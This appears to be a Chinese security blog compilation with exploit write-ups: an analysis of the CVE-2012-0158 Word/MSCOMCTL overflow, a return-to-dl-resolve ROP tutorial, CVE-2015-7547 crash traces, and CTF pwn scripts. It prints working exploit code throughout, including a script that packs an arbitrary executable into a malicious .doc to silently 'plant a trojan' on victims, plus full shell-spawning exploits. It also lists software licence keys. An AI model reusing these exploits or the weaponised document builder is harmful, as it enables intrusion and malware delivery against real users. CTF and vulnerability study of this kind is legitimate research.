CVE-2012-0158

#CVE-2012-0158

@[Written By Bigtang]

测试环境

操作系统

Windows XP Professional with Service Pack 3 (x86) - CD (Chinese-Simplified) 详细信息
文件名:zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_x14-80404.iso
SHA1:69DBF131116760932DCF132ADE111D6B45778098
文件大小:601.04MB
发布时间:2008-05-01
激活码:7P4YR-BF7R4-B4778-6TBC6-6C2WF

Office 版本

Office Standard Edition 2003 (Simplified Chinese) 详细信息
文件名:sc_office_2003_std.iso
SHA1:32CDFD1CB4816AF4DC829D991EC6E775AB013CD9
文件大小:409.16MB
发布时间:2004-01-20
激活码:GWH28-DGCMP-P6RC4-6J4MT-3HFDY

获取样本

如何获取样本?我们可以用metasploit生成,也可以从一些论坛去找。这里是我从看雪论坛拿到的一个样本,cve-2012-0158.zip,密码:chence

调试

  1. 第一步当然是拍个快照了。因为,poc运行后没有正常返回,再下一次打开时,word会提示你是否恢复文件,导致poc不能二次使用。
    最后会解释为什么这个poc只能用一次=。=
    Alt text

  2. 观察漏洞行为,环境配置的没问题的话,应该是弹一个计算器。同时注意到原进程winword.exe退出了。
    Alt text

  3. 因为shellcode执行了calc.exe,猜测调用WinExec函数,遂对其下断点。类似的断点Shell32!ShellExecuteA
    Alt text

  1. 触发断点时,观察WinExec入栈参数,发现调用a.exe,其正是calc.exe的副本。同时也要注意观察call stack有没有可疑的返回地址(如返回地址处于栈中)
    Alt text

  2. 此时通过栈回溯,我们再次对MSCOMCTL!DllGetClassObject+0x41cc6-5下断点。(为什么减5?因为MSCOMCTL!DllGetClassObject+0x41cc6是返回地址,我们希望在调用函数之前就让程序断下来)
    Alt text

  3. 此时,还没有执行到shellcode,但是我也不知道距离shellcode还有多远,因此我们单步(F10)走着看看。往下没几步,就看见ebp忽然变成0了!
    Alt text

  4. 下一步,ret了一个很著名的地址0x7ff4512(万能跳转地址)jmp esp!查看此时esp,可以知道其位于0x121634。由此我们大概知道,这是一个典型的栈溢出!
    Alt text

  5. 那么接下来我们比较关心,是什么原因造成的栈溢出。一个简单的定位方法自然就是,观察0x121634是什么时候被写入万能跳转地址的。同样,我们再次断在MSCOMCTL!DllGetClassObject+0x41cc1处。再次触发断点,此时0x121634还没被覆写。
    Alt text

  6. 我们知道这个断点离最后的ret 8很近,我们不妨多注意接下来的几次call,看看调用前后栈的变化。很幸运,在下一个call(0x275c8a05), 0x121634被覆写。
    Alt text

  7. 基于此,我们把重点放在这个函数MSCOMCTL!DllGetClassObject+0x41a29 (275c876d),直接上IDA。一个大大的qmemcpy映入眼帘。其第一个和第三个参数都来自这个函数的形参。
    Alt text

  8. 这次我们仍断在MSCOMCTL!DllGetClassObject+0x41cc1处,同时这次要单步进入函数内部。先来看一眼函数的参数。对应上图,a1=0x00121628,dwBytes=0x8282。等等!我好像发现了什么。往0x00121628里写0x8282个字节的数据!要知道,0x00121634里可就是上一个函数的返回地址哇!
    Alt text

  9. 我们继续追踪!来证实我们的想法!来看一下qmemcpy的第二个参数,是来自堆,似乎是在v3+12处赋了值。v3应该是个虚表指针=。=是的,没错。v3+12正是read函数。它从文件里读了0x8282个字节到堆里v5=lpMem。
    Alt text

  10. 而后qmemcpy把数据从堆里lpMem拷贝到栈里,此时拷贝长度大于a1变量的缓冲区长度,发生栈溢出!而拷贝的数据正是shellcode。
    Alt text

  11. 至此我们已经定位到发生栈溢出的函数。接下来,还要分析是什么原因导致的栈溢出。很明显,长度是关键!我们要知道dwBytes0x8282是怎么来的。这一次我们需要断在MSCOMCTL!DllGetClassObject+0x41c83(275c89c7)。发现第一次调用MSCOMCTL!DllGetClassObject+0x41a29时读了0xc个字节,“Cobjd\x00...\x82\x82”
    Alt text

  12. 再看IDA对该函数的反汇编。12行从文件读0xc个字节,包括Cobjd标志和deBytes=0x8282。然后15行的检查居然是dwBytes>=8,然后从文件读0x8282个字节的数据到v7,而v7仅仅为8个字节。因此,很明显,我们得出一个结论,产生漏洞的原因是程序员把<=写成了>=(ORZ)
    Alt text

分析shellcode

  1. 根据前面的分析,我们在doc中定位shellcode的位置。0x1341为shellcode开始的地方。
    Alt text

  2. 提取shellcode, 丢进ida里分析=。=我们来学习一下shellcode的各种姿势。

    1
    2
    3
    4
    5
    with open("may.doc","r") as fr:
    fr.seek(0x1341)
    data = fr.read(0x8282*2).decode('hex')
    with open("shellcode","w") as fw:
    fw.write(data)
  3. sub_88这个函数。是用来定位data段的。data段里放了字符串“kernel32”。
    Alt text

  4. 获得kernel32的基址。GET kernel32.dll base
    Alt text

  5. 获取导入模块各函数地址。

Alt text

  1. 通过对获取的函数名进行CRC32,将解析的函数地址填入data段。
    Alt text

  2. 讲doc再次内存读入内存,分别从文件偏移0x2878读入0x2d26字节作为a.doc,
    从0x559e读入0x1c000字节作为a.exe。并解密,key='\xac',加密方式异或。接下来想做的是把用解密出来的a.doc替换原文件may.doc
    Alt text

  3. 从exp中提取两个文件其中a.doc可以正常打开,a.execalc.exe

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    with open("may.doc","r") as fr:
    data = fr.read()

    doc = ''
    for i in data[0x2878:][:0x2d26]:
    doc += chr(ord(i)^0xac)

    with open("a.doc","wb") as fw:
    fw.write(doc)

    exe = ''
    for i in data[0x559e:][:0x1c000]:
    exe += chr(ord(i)^0xac)

    with open("a.exe","wb") as fw:
    fw.write(exe)
  4. 接下来就是将内存中的a.exe,写入C:\Documents and Settings\Administrator\,并执行。
    Alt text

  5. 最后就是退出进程了。为什么poc不能二次使用?这个在第7步中就解释了。因为shellcode运行后,会用exp中缀余的资源a.doc去替换原文件。原may.doc为133kB,运行后变成12Kb,显然不是同一个文件了。这样的话,我们把a.doc替换成真实文件,a.exe替换成m.exe。就可以完美利用啦=。=用户点开的效果就是,点一下,种马,自动关闭。再点开,会提示上次文件损坏,但是编辑一切正常。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    import sys
    import struct

    docFile = sys.argv[1]
    exeFile = sys.argv[2]

    with open(docFile, "rb") as fr:
    _doc = fr.read()

    doc = ''
    for i in bytearray(_doc):
    doc += chr(i^0xac)

    print "docLen: " + hex(len(doc))

    with open(exeFile, "rb") as fr:
    _exe = fr.read()

    exe = ''
    for i in bytearray(_exe):
    exe += chr(i^0xac)

    print "exeLen: " + hex(len(exe))

    with open("may.doc","rb") as fr:
    poc = fr.read()[0:0x2840]

    poc += '\xab'*4 + '\xef'*4
    poc += '%USERPROFILE%\\x.doc\x00'
    poc += struct.pack("I",len(doc))
    poc += '%USERPROFILE%\\x.exe\x00'
    poc += struct.pack("I",len(exe))

    with open("test.doc","wb") as fw:
    fw.write(poc+doc+exe)%

【原创】关于LDR的疑问与探索
分析一段简单的ShellCode——从TEB到函数地址获取

return-to-dl-resolve

通过ELF动态装载构造ROP链 ( Return-to-dl-resolve)

####0x00 前言
玩CTF的赛棍都知道,PWN类型的漏洞题目一般会提供一个可执行程序,同时会提供程序运行动态链接的libc库。通过libc.so可以得到库函数的偏移地址,再结合泄露GOT表中libc函数的地址,计算出进程中实际函数的地址,以绕过ASLR。这种手法叫return-to-libc。本文将介绍一种不依赖libc的手法。

以XDCTF2015-EXPLOIT2为例,这题当时是只给了可执行文件的。出这题的初衷就是想通过Return-to-dl-resolve的手法绕过NX和ASLR的限制。本文将详细介绍一下该手法的利用过程。

这里构造一个存在栈缓冲区溢出漏洞的程序,以方便后续我们构造ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{

char buf[100];
setbuf(stdin,buf);
read(0,buf,256); // Buffer OverFlow
}

int main()
{

char buf[100] = "Welcome to XDCTF2015~!\n";

setbuf(stdout,buf);
write(1,buf,strlen(buf));

vuln();

return 0;
}

0x01 准备知识

相关结构

ELF可执行文件由ELF头部,程序头部表和其对应的段,节区头部表和其对应的节组成。如果一个可执行文件参与动态链接,它的程序头部表将包含类型为 PT_DYNAMIC 的段,它包含.dynamic 节区。结构如图,

1
2
3
4
5
6
7
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

其中Tag对应着每个节区。比如JMPREL对应着.rel.plt
Alt text

节区中包含目标文件的所有信息。节的结构如图。

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct{
Elf32_Word sh_name; // 节区头部字符串表节区的索引
Elf32_Word sh_type; // 节区类型
Elf32_Word sh_flags; // 节区标志,用于描述属性
Elf32_Addr sh_addr; // 节区的内存映像
Elf32_Off sh_offset; // 节区的文件偏移
Elf32_Word sh_size; // 节区的长度
Elf32_Word sh_link; // 节区头部表索引链接
Elf32_Word sh_info; // 附加信息
Elf32_Word sh_addralign; // 节区对齐约束
Elf32_Word sh_entsize; // 固定大小的节区表项的长度
}Elf32_Shdr;

如图,列出了该文件的28个节区。其中类型为REL的节区包含重定位表项。
Alt text

(1) 其中.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位

1
2
3
4
5
6
7
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;
#define ELF32_R_SYM(i) ((i)>>8)
#define ELF32_R_TYPE(i) ((unsigned char)(i))
#define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))

如图,在.rel.plt中列出了链接的C库函数,以下均已write函数为例,write函数的r_offset=0x804a010,r_info=0x507
Alt text

(2) 其中.got节保存全局变量偏移表,.got.plt节存储着全局函数偏离表。.got.plt对应着Elf32_Rel结构中r_offset的值。如图,write函数在GOT表中位于0x804a010
Alt text

(3)其中.dynsym节区包含了动态链接符号表。其中,Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。根据定义,ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info)>>8

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

如图,write的索引值为ELF32_R_SYM(0x507) = 0x507 >> 8 = 5。而Elf32_Sym[5]即保存着write的符号表信息。并且ELF32_R_TYPE(0x507) = 7,对应R_386_JUMP_SLOT
Alt text

(4)其中.dynstr节包含了动态链接的字符串。这个节区以\x00作为开始和结尾,中间每个字符串也以\x00间隔。如图,Elf32_Sym[5]->st_name = 0x54,所以.dynstr加上0x54的偏移量,就是字符串write
Alt text

(5)其中.plt节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。如图,当程序执行call write@plt时,实际会跳到0x80483c0去执行。
Alt text

延迟绑定

程序在执行的过程中,可能引入的有些C库函数到结束时都不会执行。所以ELF采用延迟绑定的技术,在第一次调用C库函数是时才会去寻找真正的位置进行绑定。

具体来说,在前一部分我们已经知道,当程序执行call write@plt时,实际会跳到0x80483c0去执行。而0x80483c0处的汇编代码仅仅三行。我们来看一下这三行代码做了什么。
Alt text
第一行,上一部分也提到了0x804a010write的GOT表位置,当我们第一次调用write时,其对应的GOT表里并没有存放write的真实地址,而是下一条指令的地址。第二、三行,把reloc_arg=0x20作为参数推入栈中,跳到0x8048370继续执行。
Alt text

0x8048370再把link_map = *(GOT+4)作为参数推入栈中,而*(GOT+8)中保存的是_dl_runtime_resolve函数的地址。因此以上指令相当于执行了_dl_runtime_resolve(link_map, reloc_arg),该函数会完成符号的解析,即将真实的write函数地址写入其GOT条目中,随后把控制权交给write函数。
Alt text

其中_dl_runtime_resolve是在glibc-2.22/sysdeps/i386/dl-trampoline.S中用汇编实现的。0xf7ff04fb处即调用_dl_fixup,并且通过寄存器传参。
Alt text

其中_dl_fixup是在glibc-2.22/elf/dl-runtime.c实现的,我们只关注一些主要函数。

1
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)

首先通过参数reloc_arg计算重定位入口,这里的JMPREL.rel.pltreloc_offsetreloc_arg

1
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

然后通过reloc->r_info找到.dynsym中对应的条目。

1
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7

1
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

接着通过strtab + sym->st_name找到符号表字符串,result为libc基地址

1
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);

value为libc基址加上要解析函数的偏移地址,也即实际地址。

1
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);

最后把value写入相应的GOT表条目中

1
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);

漏洞利用方式

  1. 控制EIP为PLT[0]的地址,只需传递一个index_arg参数
  2. 控制index_arg的大小,使reloc的位置落在可控地址内
  3. 伪造reloc的内容,使sym落在可控地址内
  4. 伪造sym的内容,使name落在可控地址内
  5. 伪造name为任意库函数,如system
控制EIP

首先确认一下进程当前开了哪些保护
Alt text

由于程序存在栈缓冲区漏洞,我们可以用PEDA很快定位覆写EIP的位置。

Alt text

stage1

我们先写一个ROP链,直接返回到write@plt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from zio import *

offset = 112

addr_plt_read = 0x08048390 # objdump -d -j.plt bof | grep "read"
addr_plt_write = 0x080483c0 # objdump -d -j.plt bof | grep "write"

#./rp-lin-x86 --file=bof --rop=3 --unique > gadgets.txt
pppop_ret = 0x0804856c
pop_ebp_ret = 0x08048453
leave_ret = 0x08048481

stack_size = 0x800
addr_bss = 0x0804a020 # readelf -S bof | grep ".bss"
base_stage = addr_bss + stack_size

target = "./bof"
io = zio((target))

io.read_until('Welcome to XDCTF2015~!\n')
# io.gdb_hint([0x80484bd])

buf1 = 'A' * offset
buf1 += l32(addr_plt_read)
buf1 += l32(pppop_ret)

buf1 += l32(0)
buf1 += l32(base_stage)
buf1 += l32(100)

buf1 += l32(pop_ebp_ret)
buf1 += l32(base_stage)
buf1 += l32(leave_ret)

io.writeline(buf1)

cmd = "/bin/sh"

buf2 = 'AAAA'
buf2 += l32(addr_plt_write)
buf2 += 'AAAA'

buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))

buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'

buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

最后会把我们输入的cmd打印出来
Alt text

stage2

这次我们控制EIP返回到PLT0,要带上index_offset。这里我们修改一下buf2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
index_offset = 0x20


buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)

buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))

buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'

buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

同样会把我们输入的cmd打印出来
Alt text

stage3

这一次我们控制index_offset,使其指向我们伪造的fake_reloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020

r_info = 0x507
fake_reloc = l32(addr_got_write) + l32(r_info)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)

buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))

buf2 += fake_reloc
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'

buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

同样会把我们输入的cmd打印出来
Alt text

stage4

这一次我们伪造fake_sym,使其指向我们控制的st_name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym = 0x080481d8
addr_dynstr = 0x08048268
fake_sym = base_stage + 36
align = 0x10 - ((fake_sym - addr_dynsym) & 0xf)
fake_sym = fake_sym + align
index_dynsym = (fake_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8 ) | 0x7
fake_reloc = l32(addr_got_write) + l32(r_info)
st_name = 0x54
fake_sym = l32(st_name) + l32(0) + l32(0) + l32(0x12)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

同样会把我们输入的cmd打印出来
Alt text

stage5

这次把st_name指向我们伪造的字符串write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym = 0x080481d8
addr_dynstr = 0x08048268
addr_fake_sym = base_stage + 36
align = 0x10 - ((addr_fake_sym - addr_dynsym) & 0xf)
addr_fake_sym = addr_fake_sym + align
index_dynsym = (addr_fake_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8 ) | 0x7
fake_reloc = l32(addr_got_write) + l32(r_info)
st_name = (addr_fake_sym + 16) - addr_dynstr
fake_sym = l32(st_name) + l32(0) + l32(0) + l32(0x12)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym
buf2 += "write\x00"
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

同样会把我们输入的cmd打印出来
Alt text

stage6

替换writesystem,并修改system的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym = 0x080481d8
addr_dynstr = 0x08048268
addr_fake_sym = base_stage + 36
align = 0x10 - ((addr_fake_sym - addr_dynsym) & 0xf)
addr_fake_sym = addr_fake_sym + align
index_dynsym = (addr_fake_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8 ) | 0x7
fake_reloc = l32(addr_got_write) + l32(r_info)
st_name = (addr_fake_sym + 16) - addr_dynstr
fake_sym = l32(st_name) + l32(0) + l32(0) + l32(0x12)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(base_stage+80)
buf2 += 'aaaa'
buf2 += 'aaaa'
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym
buf2 += "system\x00"
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

得到一个shell
Alt text

WTF

以上只是叙述原理,当然你比较懒的话,这里已经有成熟的工具辅助编写利用脚本roputils

参考

【1】ELF文件格式
【2】ELF动态解析符号过程
【3】Return to dl-resolve
【4】ROP stager + Return-to-dl-resolveによるASLR+DEP回避
【5】Return to dl-resolve
【6】通过ELF动态装载机制进行漏洞利用

CVE-2015-7547

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
=> 0x8048573 <main+72>:	call   0x8048420 <getaddrinfo@plt>
=> 0xb7ed9c40 <__GI_getaddrinfo>: push ebp
Breakpoint 1, __GI_getaddrinfo (name=0x8048643 "bigtang.org",
service=0x8048640 "22", hints=0xbffff04c, pai=0xbffff044)
at ../sysdeps/posix/getaddrinfo.c:2323

=> 0xb7ed9d23 <__GI_getaddrinfo+227>: call 0xb7ed7470 <gaih_inet>
=> 0xb7ed7470 <gaih_inet>: push ebp
Breakpoint 2, gaih_inet (name=0x8048643 "bigtang.org", service=0xbfffef80,
req=0xbffff04c, pai=0xbfffef70, naddrs=0xbfffef7c)
at ../sysdeps/posix/getaddrinfo.c:275

=> 0xb7ed80c7 <gaih_inet+3159>: call edi
=> 0xb7def4d0 <_nss_dns_gethostbyname4_r>: push ebp
_nss_dns_gethostbyname4_r (name=0x8048643 "bigtang.org", pat=0xbfffeecc,
buffer=0xbfffe9e0 "\377\002", buflen=0x420, errnop=0xbfffeed0,
herrnop=0xbfffeedc, ttlp=0x0) at nss_dns/dns-host.c:284

=> 0xb7def58b <_nss_dns_gethostbyname4_r+187>: call 0xb7dedb70 <__libc_res_nsearch@plt>
=> 0xb7ddb240 <__GI___libc_res_nsearch>: push ebp
__GI___libc_res_nsearch (statp=0xb7fc1340 <_res>, name=0x8048643 "bigtang.org",
class=0x1, type=0xf371,
answer=0xbfffe150 "\207C\371VcX\276\070\363\004\016", anslen=0x800,
answerp=0xbfffe97c, answerp2=0xbfffe980, nanswerp2=0xbfffe984,
resplen2=0xbfffe988, answerp2_malloced=0xbfffe98c) at res_query.c:342

=> 0xb7ddb4c6 <__GI___libc_res_nsearch+646>:
call 0xb7ddaeb0 <__libc_res_nquerydomain>
=> 0xb7ddaeb0 <__libc_res_nquerydomain>: push ebp
__libc_res_nquerydomain (statp=statp@entry=0xb7fc1340 <_res>,
name=name@entry=0x8048643 "bigtang.org", domain=0x0, class=0x1,
type=0xf371, answer=0xbfffe150 "\207C\371VcX\276\070\363\004\016",
anslen=0x800, answerp=0xbfffe97c, answerp2=0xbfffe980,
nanswerp2=0xbfffe984, resplen2=0xbfffe988, answerp2_malloced=0xbfffe98c)
at res_query.c:563

=> 0xb7ddaf9c <__libc_res_nquerydomain+236>:
call 0xb7dda7f0 <__GI___libc_res_nquery>
=> 0xb7dda7f0 <__GI___libc_res_nquery>: push ebp
__GI___libc_res_nquery (statp=0xb7fc1340 <_res>, name=0x8048643 "bigtang.org",
class=0x1, type=0xf371,
answer=0xbfffe150 "\207C\371VcX\276\070\363\004\016", anslen=0x800,
answerp=0xbfffe97c, answerp2=0xbfffe980, nanswerp2=0xbfffe984,
resplen2=0xbfffe988, answerp2_malloced=0xbfffe98c) at res_query.c:124
124 in res_query.c

=> 0xb7dda969 <__GI___libc_res_nquery+377>: movzx ecx,BYTE PTR [edi+0x3]
EAX: 0xbfffe980 ('B' <repeats 200 times>...)
EBX: 0xb7dea000 --> 0x14ed4
ECX: 0xbfffe980 ('B' <repeats 200 times>...)
EDX: 0x42424242 ('BBBB')
ESI: 0xb7fc1340 --> 0x5
EDI: 0x42424242 ('BBBB')
EBP: 0xbfffd7f8 --> 0x0
ESP: 0xbfffd550 --> 0x16b04
EIP: 0xb7dda969 (<__GI___libc_res_nquery+377>: movzx ecx,BYTE PTR [edi+0x3])


EAX: 0xbfffe980 ("fA;5A;"...)

EBX: 0xb7dea000 --> 0x14ed4
ECX: 0xbfffe980 ("fA;5A;"...)
EDX: 0x353b4166 ('fA;5')
ESI: 0xb7fc1340 --> 0x5
EDI: 0x3b414a3b (';JA;')
EBP: 0xbfffd7f8 --> 0x0
ESP: 0xbfffd550 --> 0x11035
EIP: 0xb7dda969 (<__GI___libc_res_nquery+377>: movzx ecx,BYTE PTR [edi+0x3])

0x353b4166 2090 0x3b414a3b 2094

EAX: 0x0

EBX: 0x42424242 ('BBBB')
ECX: 0xb7fbe858 --> 0x804b000 --> 0x0
EDX: 0x0
ESI: 0x42424242 ('BBBB')
EDI: 0x42424242 ('BBBB')
EBP: 0x42424242 ('BBBB')
ESP: 0xbfffe9c0 --> 0x8044242
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbfffe9c0 --> 0x8044242
0004| 0xbfffe9c4 --> 0xbfffeecc --> 0xbfffee10 --> 0x0
0008| 0xbfffe9c8 --> 0xbfffe9e0 --> 0x2ff
0012| 0xbfffe9cc --> 0x420
0016| 0xbfffe9d0 --> 0xbfffeed0 --> 0xb ('\x0b')
0020| 0xbfffe9d4 --> 0xbfffeedc --> 0x2
0024| 0xbfffe9d8 --> 0x0
0028| 0xbfffe9dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()


if data2:
data = ''
data += dw(id2)
#data += '\x00' * (2300)
data += 'A'*38
data += dd(0)+dd(0x31000000)
data += 'A'*(2090-46)
data += dd(0x08b00408)+dd(0x38b00408)
data += 'B'*62
data2_reply = dw(len(data)) + data

BCTF-2016-ruin

Download:ruin.7b694dc96bf316a40ff7163479850f78 ruin.idb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from zio import *

io = zio(("127.0.0.1",2333),print_read=RAW,print_write=RAW)
#io = zio(("166.111.132.49",9999))

printf_plt = 0x8594
printf_got = 0x00010F58
printf_off = 0x385c0

atoi_got = 0x10f80
system_off = 0x2e7c8

def checkKey(key):
io.read_until("please input your 8-bit key:")
io.write(key)

def updateKey(key):
io.read_until("Give me your choice(1-4):")
io.writeline("1")
io.read_until("enter the new 16-bit key:")
io.write(key)

def editSecret(secret):
io.read_until("Give me your choice(1-4):")
io.writeline("2")
io.read_until("please input your secret:")
io.writeline(secret)

def signName(name):
io.read_until("Give me your choice(1-4):")
io.writeline("3")
io.read_until("please input your name length:")
io.writeline(name)

def leakHeap():
checkKey("bigtang!")
io.read_until("bigtang!")
addr = io.read_until(' is')[:-3]
addr = addr.ljust(4,'\x00')
heap = l32(addr)-0x8
if heap:
print "\n[+] Got Heap base: %x" % heap
return heap

def leakLibc(heap):
checkKey("security")

# house of force
editSecret(l32(0xffffffff).rjust(0x10,'\x00'))

signName(str(0x10fa0-(heap+0x10)))
updateKey((l32(atoi_got)+l32(0)+l32(atoi_got)).rjust(0x10,'\x00'))
updateKey(l32(printf_plt).ljust(0x10,'\x00'))
#raw_input()
io.read_until("Give me your choice(1-4):")
io.writeline("%6$s"+l32(printf_got))
libc = l32(io.read(4)) - printf_off - 1
print "\n[+] Got Libc base: %x" % libc
return libc

heap = leakHeap()
libc = leakLibc(heap)
system = libc + system_off
#editSecret(l32(libc+0x2e36c))
editSecret(l32(system))
#raw_input()
io.read_until("Give me your choice(1-4):")
io.writeline("/bin/sh\x00")
#raw_input("[*] Debug:")
io.interact()

Qiangwang-Cup-2015-imdb

Download: imdb.e31f5ffcdb6571a4e672382187bc6345
imdb.idb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from zio import *

host = "192.168.33.10"
port = 2333
io = zio((host,port),print_read=NONE,print_write=NONE)

# add a TV
def addTV(name,season,rating,introduction):
io.read_until("Your choice? ")
io.writelines(["1",name,season,rating,introduction])

# add a Movie
def addMovie(name,actors,rating,introduction):
io.read_until("Your choice? ")
io.writelines(["2",name,actors,rating,introduction])

# remove an entry
def removeEntry(name):
io.read_until("Your choice? ")
io.writelines(["3",name])

# show all TV/Movie
def showAll():
#raw_input("DEBUG:")
io.read_until("Your choice? ")
io.writeline("4")

# read any address
def readAddr(address):
addTV("a"*0x10,"0","100","f"*0x7f)
addTV("b"*0x10,"0","100","f"*0x7f)
addTV("b"*0x10,"0","100","f"*0x7f)
removeEntry("a"*0x10)
removeEntry("b"*0x10)
fakeMovie = ""
fakeMovie += l64(0x4015b0)
